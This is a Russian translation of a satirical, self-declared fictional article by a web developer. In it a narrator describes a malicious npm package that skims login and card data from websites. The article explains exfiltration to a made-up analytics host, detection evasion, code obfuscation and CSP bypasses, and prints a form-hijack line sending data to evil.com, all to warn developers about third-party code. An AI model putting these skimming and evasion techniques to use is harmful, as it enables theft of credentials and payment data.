«Я краду ваши пароли и номера кредиток. И я расскажу, как»
Все мы очень дорожим нашими данными. Сегодня мы расскажем, что с ними случится, если неосторожно устанавливать пакеты из npm.
13К открытий13К показов
Мы перевели статью, в которой человек описывает, как можно воровать данные пользователей с различных сайтов на протяжении нескольких лет, оставаясь незамеченным.
Рассказывает Дэвид Гилбертсон, веб-разработчик и автор на Hacker Noon.
Моя история — чистая правда. Ну, или почти. А может и неправда.
Выдалась безумная неделя в сфере безопасности — казалось, каждый день появляется новая уязвимость. Мне было сложно делать вид, будто я понимаю, что происходит, когда меня спрашивали об этом мои близкие. Я видел, что они взволнованы одной перспективой быть взломанными, и это меня вдохновило.
С тяжелым сердцем я решил рассказать вам правду о том, как я крал имена пользователей, пароли и номера кредитных карт с ваших сайтов в течение последних нескольких лет.
Как это работает?
Сам по себе вредоносный код очень простой, лучше всего он работает на страницах, которые удовлетворяют следующим критериям:
- На странице есть тег
<form>
; - На странице можно найти элемент со свойством
input[type=«password»]
,name=«cardnumber»
,name=«cvc»
или чем-то подобным; - Страница содержит слова вроде «credit card», «checkout», «login», «password» и т.д.
Затем при возникновении события blur
у поля для ввода пароля, или номера кредитной карты, или при возникновении события submit
формы, мой код:
- Собирает данные со всех полей форм
(document.forms.forEach(…))
на странице; - Собирает
document.cookie
; - Превращает всё это в случайную на вид строку
const payload = btoa(JSON.stringify(sensitiveUserData))
; - Затем отправляет результат на
https://legit-analytics.com?q=${payload}
(адрес, конечно, выдуманный).
Короче говоря, если похоже, что данные могут хоть как-то мне пригодиться, я отправляю их на мой сервер.
Конечно, когда я только написал этот код, в 2015-ом, на моём компьютере от него не было пользы. Я должен был выпустить его во внешний мир. Прямиком на ваши сайты.
Как однажды сказали в Google:
Если атакующий успешно внедрил куда-либо свой код — всё, песенка спета.
Так как же распространять подобный код? У XSS не те масштабы, да и защита от него есть. Расширения Chrome слишком ограничены.
К счастью для меня, мы живем в эпоху, когда люди устанавливают npm-пакеты направо и налево, не задумываясь.
Итак, я выбрал npm моим методом распространения. Мне нужно было придумать какой-нибудь минимально полезный пакет, который люди установили бы, не подумав, — мой троянский конь.
Люди любят симпатичные цвета — это то, что отличает нас от собак, — поэтому я написал пакет, который позволяет выводить данные в консоль в любом цвете:
Я был взволнован в этот момент — у меня был убедительный пакет, но я не хотел ждать, пока люди медленно узнавали и рассказывали о нём. Поэтому я приступил к созданию пулл-реквестов для существующих пакетов, которые добавили бы мой пакет к их зависимостям.
Я сделал несколько сотен реквестов (разные учетные записи и, нет, ни один из них не раскрывал моего имени) для различных фронтенд-пакетов и их зависимостей. «Эй, я исправил проблему X, а также добавил логирование».
Смотри, мам, я вношу вклад в open-source!
Было много разумных людей, которые говорили мне, что они не хотят очередной зависимости, но тут всё решает количество.
В целом моя кампания имела большой успех: теперь 23 пакета напрямую зависели от моего творения. От одного из этих пакетов зависел довольно популярный пакет — моя дойная корова. Не буду приводить названий, но такие вот распространённые пакеты — это именно то, что мне было нужно.
И это — только один пакет. У меня ещё 6 на подходе.
И вот, у меня около 120 000 загрузок в месяц, и я с гордостью мог сказать, что мой вредоносный код ежедневно выполняется на тысячах сайтов, включая несколько сайтов из списка Alexa Top 1000, отправляя мне реки имён пользователей, паролей и деталей кредитных карт.
Вспоминая эти золотые годы, я не могу поверить, что люди тратят столько сил на возню с XSS, чтобы просто внедрить код на один сайт. Сами того не желая, мои друзья веб-разработчики помогают мне с лёгкостью внедрять вредоносный код на тысячи сайтов.
А теперь поговорим о ваших замечаниях, которые у вас, возможно, накопились.
Я бы заметил исходящие сетевые запросы!
Где бы вы их заметили? Мой код ничего не отправляет, пока открыты инструменты разработчика (да, даже если соответствующая панель откреплена от основного окна).
Я называю это манёвром Гейзенберга: пытаясь наблюдать за поведением моего кода, вы меняете его поведение.
Также программа незаметна на локальном хосте, или любом IP-адресе, или когда имя домена содержит слова dev, test, qa, uat или staging (окружённые символами границ слов \b
).
Наши пентестеры заметили бы это в их инструментах по мониторингу HTTP-запросов!
Когда они работают? Мой код ничего не посылает между семью утра и семью вечера. Это уполовинивает мою добычу, зато и шансы быть пойманным уменьшаются на 95 %.
И ваши учётные данные нужны мне только раз. Поэтому после того, как я получил данные с устройства, я делаю об этом запись (локальное хранилище и куки) и больше ничего не отправляю с этого устройства. Репликация мне ни к чему.
Даже если какой-нибудь прилежный пентестер постоянно чистит куки и локальное хранилище, я отправляю данные лишь периодически, внося в это определённую долю случайности. Отправка данных производится один раз на примерно семь сеансов ввода данных — идеальная частота возникновения подозрительного события, которая позволяет свести с ума того, кто ищет уязвимости.
Кроме того, URL очень похож на сотни других запросов к рекламным сетям, которые отправляет ваш сайт.
Суть в том, что если вы чего-то не видите, это не значит, что этого не происходит. Прошло более двух лет, и, насколько я знаю, никто ещё не заметил ни один из моих запросов. Возможно, мой код работал именно на вашем сайте всё это время ?
Забавный факт. Когда я просматривал все пароли и номера кредитных карт, которые я собрал, и готовил их для продажи в даркнете, мне приходилось искать мои собственные данные на случай, если я попал под свою же атаку. Не очень-то и весело!
Я бы всё увидел в твоих исходниках на GitHub!
Ваша невинность согревает моё сердце.
Но я боюсь, что нет ничего невозможного в том, чтобы отправить одну версию кода в GitHub и другую — в npm.
В моём package.json
я задал свойство files
так, что оно указывает на директорию lib
, содержащую минифицированный и изменённый до неузнаваемости вредоносный код, который будет отправлен в npm через npm publish
. Но директория lib
находится в моём .gitignore
, поэтому она никогда не попадёт на GitHub. Это довольно распространённая практика, так что у вас даже не возникнет никаких подозрений при просмотре файлов на GitHub.
Это не проблема npm, даже если я не отправляю разный код в npm и GitHub, кто может утверждать, что то, что вы видите в /lib/package.min.js
, является реальным результатом минификации /src/package.js
?
Так что нет, вы не найдёте мой вредоносный код где-либо на GitHub.
Я просмотрел весь минифицированный код в node_modules!
Итак, сейчас вы просто ищете недостатки в моей схеме кражи данных с сайтов. Но, возможно, вы думаете, что можете написать нечто умное, автоматически проверяющее код на что-нибудь подозрительное.
Вы всё равно не найдёте ничего подозрительного в моих исходниках, в них нигде нет слова fetch
, или XMLHttpRequest
, или домена, на который я всё отправляю. Вот как выглядит мой код:
Строка «gfudi» — это всего лишь слово «fetch», в котором буквы заменены каждая на следующую за ней по алфавиту. А self
— всего лишь псевдоним для window
.
А вот ещё один причудливый способ написать fetch(...)
:self['\u0066\u0065\u0074\u0063\u0068'](...)
Иными словами, у вас нет ни шанса обнаружить подобные проделки в обфусцированном коде.
С учётом сказанного, я должен отметить, что на самом деле не использую ничего такого скучного, как fetch
. Я предпочитаю использовать new EventSource(urlWithYourPreciousData)
везде, где это возможно. Таким образом, даже если вы параноик и отслеживаете исходящие запросы, используя serviceWorker
для отслеживания событий fetch
, я проскользну мимо. Я просто не отправляю ничего из браузеров, которые поддерживают serviceWorker
, и не поддерживают EventSource
.
У меня есть политика защиты контента!
Ох, вот уж неожиданность. И кто вам сказал, что политика защиты контента (Content Security Policy, CSP) помешает вредоносному коду отправлять данные на какой-то левый домен? Я не люблю быть вестником плохих новостей, но следующие четыре строки кода обойдут даже строжайшую CSP:
В более ранней версии этого поста я сказал, что продуманная CSP защитила бы вас, цитирую: «на 100%». К сожалению, 130 тыс. человек прочитало это прежде, чем я узнал о вышеописанном трюке. Поэтому отсюда можно извлечь урок: нельзя доверять никому и ничему в Интернете.
Но CSP не совсем бесполезные. Приведённый выше пример работает только в Chrome, и хорошая CSP, возможно, не даст мне провернуть то же самое в некоторых менее распространённых браузерах.
Если вы ещё не в курсе, то CSP может попытаться ограничить исходящие из браузера запросы. Часто о таких политиках говорят как о наборе правил, позволяющих ограничить то, что может поступить в браузер. Но вы можете также подумать, что CSP — это и средство защиты того, что из браузера может быть отправлено (когда я «отправляю» пароли ваших пользователей на мой сервер — это всего лишь параметр в GET-запросе).
В случае если я не могу получить данные с использованием своего трюка, CSP сильно мешают моей кампании по сбору номеров кредитных карт. И не только потому, что они вторгаются в мои гнусные планы.
Понимаете, если я попытаюсь отправить данные с сайта с CSP, она может сообщить владельцу о моей неудавшейся попытке (если они задали report-uri
). В конечном итоге они отследили бы её до моего кода и, вероятно, позвонили бы моей маме, и тогда у меня были бы большие неприятности.
Поскольку я не хочу привлекать к себе внимание (кроме случаев, когда я на танцполе), я проверяю вашу CSP, прежде чем пытаться что-то отправить.
Для этого я делаю ложный запрос к текущей странице и читаю заголовки.
На этом этапе я могу искать дыры в вашей CSP. Удивительно, что страница входа в систему Google имеет плохую CSP, которая позволит мне легко перехватить ваш логин и пароль, если бы мой код работал на этой странице. Они не предусмотрели установку connect-src
и, кроме того, не задали «универсальный перехватчик» default-src
, поэтому я могу отправлять ваши учётные данные куда мне заблагорассудится.
Если вы пришлёте мне по почте 10 долларов, я расскажу вам, работает ли мой код на странице входа в систему Google.
У Amazon вообще нет CSP на странице, где вы вводите номер своей кредитной карты, с eBay та же ситуация.
Twitter и PayPal имеют CSP, но получить ваши данные всё ещё проще некуда. Эти двое совершили ту же ошибку, и это, вероятно, признак того, что и другие не стали исключением. На первый взгляд, всё выглядит довольно основательно, оба они задали default-src
, как и должны были. Но вот в чём загвоздка: перехватчик перехватывает не всё. Они не заблокировали form-action
.
Итак, когда я проверяю вашу CSP (и делаю это дважды), если всё, кроме form-action
, заблокировано, я просто беру и меняю значение атрибута action
(в том месте, где данные отправляются на сервер при нажатии «войти») во всех ваших формах.
Array.from(document.forms).forEach(formEl => formEl.action = `//evil.com/bounce-form`);
Вот и всё. Спасибо, что отправил мне свой логин и пароль от PayPal, приятель. Я пришлю тебе благодарственную открытку с фотографией всего, что я купил на твои деньги.
Естественно, я выполняю такой трюк лишь один раз на одном устройстве и отправляю пользователя прямо на соответствующую страницу, когда он пожимает плечами и пробует воспользоваться формой снова.
К слову, используя этот метод, я взломал аккаунт Трампа в Твиттере и начал постить разную ерунду. Пока никто не заметил.
А вот теперь я обеспокоен, что я могу сделать?
Вариант первый:
Здесь вы будете в безопасности.
Вариант второй:
На каждой странице, которая собирает любые данные, которые вы хотите защитить от меня (или от моих товарищей-хакеров), не используйте модули npm. То же самое касается Google Tag Manager, или кода рекламных сетей, или аналитических скриптов, иными словами — никакого чужого кода.
Как советуют здесь, вы можете использовать простые отдельные страницы для целей входа в систему и ввода номеров кредитных карт, которые выводятся с помощью iFrame.
При этом все остальные части страницы вроде шапок, подвалов и блоков навигации, могут работать на старом добром React, где подключены 138 npm-пакетов. Однако, та часть страницы, на которой пользователь вводит данные, должна работать в отдельном iFrame, в котором, если вы хотите проверять какие-то данные на стороне клиента, должен выполняться только JavaScript-код, написанный вами собственноручно (и, позволю дать рекомендацию, не минифицированный).
Скоро я опубликую отчёт за 2017-ый год, где объявлю свой доход, полученный от кражи номеров кредитных карт и продажи их всяким гангстерам в клёвых шляпах. Закон требует, чтобы я раскрыл список сайтов, с которых я собрал больше всего номеров кредитных карт. Может быть, среди них окажется и ваш сайт?
Я человек добродушный, поэтому любой из списка, кто успешно заблокировал мои попытки по сбору данных до 12-ого января, будет избавлен от публичного позора.
Поговорим серьёзно
Я знаю, что мой безжалостный сарказм кому-то, может быть, трудно понять. Например, людям, которым не хватает чувства юмора. Поэтому, просто чтобы расставить все точки над i, хочу сказать, что я не создавал npm-пакет, который крадёт информацию с сайтов. Этот пост полностью вымышленный, но, тем не менее, вполне правдоподобный и, надеюсь, немного образовательный. Хотя всё это — лишь моя фантазия, меня беспокоит то, что это довольно легко реализуемо.
В мире достаточно умных, но нечистых на руку людей, кроме того, существует около 400 000 npm-пакетов. Мне кажется, что высока вероятность того, что как минимум в одном из них может встретиться вредоносный код, и, если этот код написан хорошо, вы об этом никогда не узнаете.
Проведём один интересный мысленный эксперимент. На прошлой неделе я написал npm-пакет, небольшую функцию плавности. Этот пакет не имеет никакого отношения к моему сегодняшнему рассказу, и я даю слово джентльмена, что в нём нет ничего вредоносного. Насколько сильно вы будете нервничать, подключая этот пакет к своему сайту?
Итоги
Итак, в чём смысл подобного поста? Заявить всем, что они неудачники и их легко обмануть?
Вовсе нет (вообще я хотел начать с этого, но потом понял, что я не лучше).
Моя цель (как оказалось) заключается в том, чтобы указать на то, что любой сайт, содержащий сторонний код, чрезвычайно уязвим. Причём, его уязвимости практически нереально обнаружить.
13К открытий13К показов